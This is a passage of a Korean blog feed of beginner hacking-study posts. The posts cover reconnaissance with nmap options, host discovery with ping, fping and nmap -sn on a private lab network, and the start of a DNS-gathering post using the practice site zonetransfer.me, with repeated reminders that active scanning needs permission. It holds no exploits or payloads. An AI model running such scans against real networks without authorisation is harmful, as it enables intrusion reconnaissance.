&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;668&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dbcaOp/btqGkWYJnXT/HAvySMrk2lxu3QhyH0GK3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dbcaOp/btqGkWYJnXT/HAvySMrk2lxu3QhyH0GK3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dbcaOp/btqGkWYJnXT/HAvySMrk2lxu3QhyH0GK3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdbcaOp%2FbtqGkWYJnXT%2FHAvySMrk2lxu3QhyH0GK3K%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;668&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;nmap -h를 입력하거나 man nmap을 입력하면 각 옵션에 대해서 설명해준다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;673&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wote7/btqGnY9Ycw8/6c0k1kSedKoSEKC7P6NXoK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wote7/btqGnY9Ycw8/6c0k1kSedKoSEKC7P6NXoK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wote7/btqGnY9Ycw8/6c0k1kSedKoSEKC7P6NXoK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fwote7%2FbtqGnY9Ycw8%2F6c0k1kSedKoSEKC7P6NXoK%2Fimg.png&quot; data-filename=&quot;7.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;673&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;내 컴퓨터의 ip주소를 입력(nmap + ip주소)해보니 다음의 포트가 열려있는 것을 확인할 수 있었다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;8.PNG&quot; width=&quot;681&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/GKuYU/btqGriTxXFY/fZuxgtaSipNeAti02DUsIk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/GKuYU/btqGriTxXFY/fZuxgtaSipNeAti02DUsIk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/GKuYU/btqGriTxXFY/fZuxgtaSipNeAti02DUsIk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FGKuYU%2FbtqGriTxXFY%2FfZuxgtaSipNeAti02DUsIk%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;8.PNG&quot; width=&quot;681&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;이번엔 UDP옵션(-sU)를 입력하고 검색할 포트 범위(-p)를 입력해보자.&lt;/p&gt;
&lt;p&gt;(UDP옵션은 매우 느리기 때문에 포트 범위를 지정하는 것이 좋다.)&lt;/p&gt;
&lt;p&gt;결과를 보면 STATE에 open|filtered라고 되어있는 것들을 볼 수 있다.&lt;/p&gt;
&lt;p&gt;그것은 방화벽의 영향을 받았을지 모른다는 것을 알려주는 것이다.&lt;/p&gt;
&lt;p&gt;이런 것은 나중에 추가로 테스트해야 되는 것일 수도 있다.&lt;/p&gt;
&lt;p&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;689&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7C3IT/btqGrdLBOLF/KeRL6nNyNXCB9MhfCNkSRK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7C3IT/btqGrdLBOLF/KeRL6nNyNXCB9MhfCNkSRK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7C3IT/btqGrdLBOLF/KeRL6nNyNXCB9MhfCNkSRK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7C3IT%2FbtqGrdLBOLF%2FKeRL6nNyNXCB9MhfCNkSRK%2Fimg.png&quot; data-filename=&quot;9.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;689&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;-O 옵션을 주고 명령하면 대상의 운영체제를 알 수 있다.&lt;/p&gt;
&lt;p&gt;결과는 오라클 버추얼박스로 나오는데.... 음... 이 부분은 좀 더 공부해야 될 것 같다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;688&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cll7Nf/btqGsNlohMP/ZwlaAUICgHoGemb70DGeA0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cll7Nf/btqGsNlohMP/ZwlaAUICgHoGemb70DGeA0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cll7Nf/btqGsNlohMP/ZwlaAUICgHoGemb70DGeA0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcll7Nf%2FbtqGsNlohMP%2FZwlaAUICgHoGemb70DGeA0%2Fimg.png&quot; data-filename=&quot;10.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;688&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;-sV 옵션을 사용하면 위의 사진과 같이 각 서비스에 해당하는 버전들을 출력한다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;694&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/yTVwB/btqGnHmxkXt/zB5NnJ1A9Fppd47ZTcL7S0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/yTVwB/btqGnHmxkXt/zB5NnJ1A9Fppd47ZTcL7S0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/yTVwB/btqGnHmxkXt/zB5NnJ1A9Fppd47ZTcL7S0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FyTVwB%2FbtqGnHmxkXt%2FzB5NnJ1A9Fppd47ZTcL7S0%2Fimg.png&quot; data-filename=&quot;12.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;694&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;-A 옵션을 사용하면 모두 종합해서 결과를 뽑아낼 수 있다.&lt;/p&gt;
&lt;p&gt;하지만 종합적인 결과를 뽑는 시간이 꽤 오래 걸린다는 것을 알 수 있다.&lt;/p&gt;
&lt;p&gt;그래서 시간이 촉박하다면 필요한 옵션만 사용하는 것이 좋다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>NMAP</category>
      <category>칼리리눅스</category>
      <category>칼리리눅스사용법</category>
      <category>포트스캐닝</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/47</guid>
      <comments>https://geru.tistory.com/47#entry47comment</comments>
      <pubDate>Wed, 12 Aug 2020 12:00:56 +0900</pubDate>
    </item>
    <item>
      <title>같은 네트워크 내의 컴퓨터(호스트)ip주소를 검색하기</title>
      <link>https://geru.tistory.com/42</link>
      <description>&lt;h2 id=&quot;1.%20%EA%B0%9C%EC%9A%94&quot; data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공격 대상을 직접 스캐닝하는 단계이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;액티브 스캐닝부터는 불법이기 때문에 반드시 허가를 받아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;대표적인 액티브 스캐닝으로는 DNS 정보수집, 포트 스캐닝, 웹 스캐닝, 종합 취약점 스캐닝 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;오늘은 호스트 검색을 해보겠다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 호스트검색&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;모의해킹은 외부에서 시작할 수도 있지만 경우에 따라서 내부에서부터 시작할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;또 외부에서 수행하더라도 1차적으로 호스트 하나를 공격해서 침투에 성공하고 나면 내부 네트워크에서&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;다른 호스트를 추가로 공격하는 경우가 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이럴 때 종종 다른 호스트의 ip주소를 모르는 경우가 발생할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;오늘 실습은 내부에서 모의해킹을 하는 것이라고 가정을 하고 같은 네트워크 안에 있는 호스트 ip주소를 알아내 보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/olVUX/btqGnIYBHiV/EbEOpDbITxbimKzLiu151K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/olVUX/btqGnIYBHiV/EbEOpDbITxbimKzLiu151K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/olVUX/btqGnIYBHiV/EbEOpDbITxbimKzLiu151K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FolVUX%2FbtqGnIYBHiV%2FEbEOpDbITxbimKzLiu151K%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;우선 핑에 대해서 알아보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;핑은 어떤 호스트가 살아있는지 간단하게 알아볼 수 있는 명령어이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;핑은 ICMP라는 네트워크 요청을 보내어 상대방 호스트가 살아있으면 ICMP응답을 보내는데 그 결과를 확인하여 호스트가 살아있는지 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(핑이 안 때려지는 경우는 방화벽을 사용해서 ICMP를 차단하는 경우이다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;위에 사진은 ping 127.0.0.1의 명령어를 입력해서 자기 자신에게 핑을 때린 것이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(위의 사진과 같이 응답 시간도 출력이 된다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RHQbY/btqGjekxkyQ/vF8m3k6o9MttEGtXAvcoxk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RHQbY/btqGjekxkyQ/vF8m3k6o9MttEGtXAvcoxk/img.png&quot; data-alt=&quot;fping 옵션들&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RHQbY/btqGjekxkyQ/vF8m3k6o9MttEGtXAvcoxk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRHQbY%2FbtqGjekxkyQ%2FvF8m3k6o9MttEGtXAvcoxk%2Fimg.png&quot; data-filename=&quot;2.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;fping 옵션들&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이제 네트워크 전체에 이 핑을 뿌려보자.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fping이라는 명령어를 이용하면 핑을 여러 개로 동시에 보낼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;3.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/els02c/btqGmUrAz4Q/4YQh2IZ1yceOCLbS7dA6KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/els02c/btqGmUrAz4Q/4YQh2IZ1yceOCLbS7dA6KK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/els02c/btqGmUrAz4Q/4YQh2IZ1yceOCLbS7dA6KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fels02c%2FbtqGmUrAz4Q%2F4YQh2IZ1yceOCLbS7dA6KK%2Fimg.png&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-filename=&quot;3.PNG&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;일단 자신의 ip를 보기 위해 ip addr을 입력했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 자신의 사설 네트워크 ip를 확인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;나는 192.168.56.101/24이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;
&lt;script src=&quot;https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;
&lt;script&gt;
     (adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W5U9Y/btqGkWwiqFM/Rx5v114TUhJ0ehbld8Tv61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W5U9Y/btqGkWwiqFM/Rx5v114TUhJ0ehbld8Tv61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W5U9Y/btqGkWwiqFM/Rx5v114TUhJ0ehbld8Tv61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW5U9Y%2FbtqGkWwiqFM%2FRx5v114TUhJ0ehbld8Tv61%2Fimg.png&quot; data-filename=&quot;4.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;주로 많이 사용하는 옵션 -g(네트워크 대역 설정)을 사용했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;fping -g 자신의 사설 ip 명령어를 입력해준다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;그리고 결과가 많이 나오는데 결과들이 너무 많고 알아보기 힘들다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bN1uDF/btqGnYNPOpX/tQF8N2KE2mymlpBDyUMg91/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bN1uDF/btqGnYNPOpX/tQF8N2KE2mymlpBDyUMg91/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bN1uDF/btqGnYNPOpX/tQF8N2KE2mymlpBDyUMg91/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbN1uDF%2FbtqGnYNPOpX%2FtQF8N2KE2mymlpBDyUMg91%2Fimg.png&quot; data-filename=&quot;5.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;그래서 위의 사진과 같이 -q(조용히), -a(살아있는 호스트만)이라는 옵션을 추가해서 입력했다.&lt;/p&gt;
&lt;p&gt;결과는 다음과 같이 나왔다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cwhdJ6/btqGgwMrDt5/6AdkIt8IAgadH1BUuTNyz1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cwhdJ6/btqGgwMrDt5/6AdkIt8IAgadH1BUuTNyz1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cwhdJ6/btqGgwMrDt5/6AdkIt8IAgadH1BUuTNyz1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcwhdJ6%2FbtqGgwMrDt5%2F6AdkIt8IAgadH1BUuTNyz1%2Fimg.png&quot; data-filename=&quot;6.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;좀 더 정확한 결과를 얻기 위해 nmap을 사용하였다.&lt;/p&gt;
&lt;p&gt;nmap -sn 192.168.56.101/24 명령어를 입력하니 위의 사진과 같이 아까 fping과 다르게 3개의 결과가 나왔다.&lt;/p&gt;
&lt;p&gt;이유는 fping에서 검색되지 않은 호스트는 윈도이기 때문에 ping이 차단되었기 때문이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>공부/해킹공부</category>
      <category>ip주소</category>
      <category>ip주소추적</category>
      <category>ping</category>
      <category>칼리리눅스사용법</category>
      <category>핑</category>
      <category>해킹</category>
      <category>해킹공부</category>
      <author>notepad.exe</author>
      <guid isPermaLink="true">https://geru.tistory.com/42</guid>
      <comments>https://geru.tistory.com/42#entry42comment</comments>
      <pubDate>Sun, 9 Aug 2020 12:00:31 +0900</pubDate>
    </item>
    <item>
      <title>[액티브 스캐닝] DNS 정보 수집하기</title>
      <link>https://geru.tistory.com/41</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 개요&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;공격 대상을 직접 스캐닝하는 단계이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;액티브 스캐닝부터는 불법이기 때문에 반드시 허가를 받아야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;대표적인 액티브 스캐닝으로는 DNS 정보수집, 포트 스캐닝, 웹 스캐닝, 종합 취약점 스캐닝 등이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;오늘은 DNS 정보수집을 실습해볼 것이다.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. DNS 정보수집&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;DNS 서버를 이용하면 ip주소와 서버 정보 등 각종 유용한 정보를 얻을 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;특히 외부에서 모의해킹을 할 때 도움이 된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(DNS는 도메인 이름을 ip주소로 변경하기 위해서 사용한다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;오늘 실습에 사용될 사이트는 zonetransfer.me이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;이 사이트는 외국에서 교육 목적으로 사용되고 있으며 누구나 그 사이트를 이용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;(미리 허가가 되어있는 사이트이기 때문에 실습이 가능하다.)&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;631&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cK1oUk/btqGg4Whusw/KpSwoGKW7LwLtb9LkRIshK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cK1oUk/btqGg4Whusw/KpSwoGKW7LwLtb9LkRIshK/img.png&quot; data-alt=&quot;zonetransfer.me 사이트&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cK1oUk/btqGg4Whusw/KpSwoGKW7LwLtb9LkRIshK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcK1oUk%2FbtqGg4Whusw%2FKpSwoGKW7LwLtb9LkRIshK%2Fimg.png&quot; data-filename=&quot;1.PNG&quot; data-origin-width=&quot;802&quot; data-origin-height=&quot;690&quot; width=&quot;631&quot; height=&quot;NaN&quot; data-ke-mobilestyle=&quot;widthContent&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;zonetransfer.me 사이트&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;host라는 명령어는 DNS 정보를 알아내는 간단한 프로그램이다.&lt;/p&gt;
